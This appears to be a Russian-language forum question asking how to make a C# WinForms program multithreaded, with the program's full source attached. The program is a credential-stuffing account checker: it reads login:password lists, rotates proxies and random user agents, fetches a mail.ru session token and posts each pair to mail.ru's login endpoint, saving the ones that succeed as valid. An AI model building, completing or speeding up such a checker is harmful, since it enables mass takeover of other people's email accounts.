Покажите пример как переделать программу в многопоточную
Привел полностью рабочий код программы, она проверяет на валидность аккаунты, покажите пример как переделать её, чтобы запустить проверку аккаунтов например в три или пять потоков одновременно, то есть сделать как у многих программ работу в потоках. Выдает ошибку Элемент с тем же ключом уже был добавлен.
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using System.Windows.Forms;
using Leaf.xNet;
using System.Text.RegularExpressions;
namespace Mail_Checker
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
Dictionary<int, string> User_Agent = new Dictionary<int, string>();
Dictionary<int, string> login = new Dictionary<int, string>();
Dictionary<int, string> pass = new Dictionary<int, string>();
Dictionary<int, string> token = new Dictionary<int, string>();
Dictionary<int, string> Cookie = new Dictionary<int, string>();
object block = new object();
string proxy = "";
//string User_Agent = "";
bool proverka = true;
// string login = "";
//string pass = "";
//string token = "";
//string Cookie = "";
string Save = "";
int valid = 0;
Thread potok;
List<string> _accaunt = new List<string>();
int _index = 0;
private void button4_Click(object sender, EventArgs e)
{
OpenFileDialog openFileDialog = new OpenFileDialog();
openFileDialog.Filter = "txt files (*.txt)|*.txt|All files (*.*)|*.*";
if (openFileDialog.ShowDialog() == DialogResult.OK)
{
textBox2.Text = File.ReadAllText(openFileDialog.FileName, Encoding.Default);
}
}
private void button1_Click(object sender, EventArgs e)
{
OpenFileDialog openFileFialog = new OpenFileDialog();
openFileFialog.Filter = "txt files (*.txt)|*.txt|All files (*.*)|*.*";
if (openFileFialog.ShowDialog() == DialogResult.OK)
{
textBox1.Text = File.ReadAllText(openFileFialog.FileName, Encoding.Default);
}
}
private void textBox1_TextChanged(object sender, EventArgs e)
{
label2.Text = textBox1.Lines.Length.ToString();
}
private void button2_Click(object sender, EventArgs e)
{
SaveFileDialog save = new SaveFileDialog();
save.Filter = "txt files (*.txt)|*.txt|All files (*.*)|*.*";
if (save.ShowDialog() == DialogResult.OK)
{
File.WriteAllText(save.FileName, Save);
}
}
private void textBox2_TextChanged(object sender, EventArgs e)
{
label6.Text = textBox2.Lines.Length.ToString();
}
void Token()
{
Random rand = new Random();
string[] user_agent = File.ReadAllLines("User_Agent.txt", Encoding.Default);
lock (User_Agent)
{
User_Agent.Add(_index, user_agent[rand.Next(user_agent.Length)]); //Элемент с тем же ключом уже был добавлен.
}
HttpRequest request = new HttpRequest();
request.KeepAlive = true;
request.UserAgent = User_Agent[_index];
request.Get("https://mail.ru/");
Cookie.Add(_index, request.Cookies.GetCookieHeader("https://mail.ru/"));
string[] act = Cookie[_index].Split(';');
token.Add(_index, act[0].Replace("act=", "").Replace("\"", ""));
}
void Exists()
{
Token();
proverka = true;
HttpRequest request = new HttpRequest();
HttpResponse response;
if(checkBox1.Checked)
{
request.Proxy = HttpProxyClient.Parse(proxy);
}
request.UserAgent = User_Agent[_index];
request.AddHeader("Accept", "*/*");
request.AddHeader("Accept-Language", "ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3");
request.AddHeader("Origin", "https://mail.ru");
request.AddHeader("DNT", "1");
request.AddHeader("Referer", "https://mail.ru/");
request.KeepAlive = true;
response = request.Post("https://auth.mail.ru/api/v1/pushauth/info?login="+login[_index]+"&_=1590122005342");
string exist = response.ToString(); ;
if (exist.Contains("\"exists\":false"))
{
proverka = false;
Invoke((MethodInvoker)delegate { Log_Txt.AppendText(Environment.NewLine + login[_index] + ":" + pass[_index] + " Не существует"); });
}
}
void Auth()
{
Exists();
if (proverka == true)
{
HttpRequest request = new HttpRequest();
if (checkBox1.Checked)
{
request.Proxy = HttpProxyClient.Parse(proxy);
}
request.UserAgent = User_Agent[_index];
request.AddHeader("Accept", "*/*");
request.AddHeader("Accept-Language", "ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3");
request.AddHeader("Content-type", "application/x-www-form-urlencoded");
request.AddHeader("Origin", "https://mail.ru");
request.AddHeader("DNT", "1");
request.AddHeader("Referer", "https://mail.ru/");
request.AddHeader("Cookie", Cookie[_index]);
request.AddHeader("Accept-Encoding", "gzip, deflate");
request.KeepAlive = true;
RequestParams param = new RequestParams();
param["login"] = login[_index];
param["password"] = pass[_index];
param["saveauth"] = "1";
param["token"] = token[_index];
param["project"] = "e.mail.ru";
param["_"] = "1590381268818";
string response = request.Post("https://auth.mail.ru/jsapi/auth", param).ToString();
if (response.Contains("\"status\":\"ok\""))
{
Invoke((MethodInvoker)delegate { Log_Txt.AppendText(Environment.NewLine + login[_index] + ":" + pass[_index] + " Валидный"); });
Save += login[_index] + ":" + pass[_index] + Environment.NewLine;
valid++;
Invoke((MethodInvoker)delegate { label4.Text = valid.ToString(); });
}
if (response.Contains("\"status\":\"fail\""))
{
Invoke((MethodInvoker)delegate { Log_Txt.AppendText(Environment.NewLine + login[_index] + ":" + pass[_index] + " Не валидный"); });
}
}
}
void Start()
{
if (checkBox1.Checked)
{
int proxy_Length = 0;
int proxy_Length_Schet = 0;
int numeric_Length_Schet = 0;
int numeric_Length = 0;
Invoke((MethodInvoker)delegate
{
proxy_Length = textBox2.Lines.Length;
numeric_Length = Convert.ToInt32(numericUpDown1.Value);
proxy = textBox2.Lines[proxy_Length_Schet];
});
for (int i = 0; i < textBox1.Lines.Length; i++) //Кол-во аккаунтов
{
proxy = textBox2.Lines[proxy_Length_Schet];
string[] l = textBox1.Lines[i].Split(':');
login.Add(_index, l[0]);
pass.Add(_index, l[1]);
numeric_Length_Schet++;
Auth();
if(numeric_Length == numeric_Length_Schet)
{
numeric_Length_Schet = 0;
proxy_Length_Schet++;
}
if(proxy_Length == proxy_Length_Schet)
{
proxy_Length_Schet = 0;
}
}
}
else
{
for (int i = 0; i < textBox1.Lines.Length; i++) //Кол-во аккаунтов
{
lock (block)
{
_index++;
string[] l = textBox1.Lines[i].Split(':');
login.Add(_index, l[0]);
pass.Add(_index, l[1]);
}
Auth();
}
}
MessageBox.Show("Работа окончена");
}
private void button3_Click(object sender, EventArgs e)
{
//potok = new Thread(Start);
//potok.Start();
Task[] p = new Task[3];
for(int i = 0; i < p.Length; i++)
{
p[i] = new Task(Start);
p[i].Start();
}
}
private void button5_Click(object sender, EventArgs e)
{
potok.Abort();
}
}
}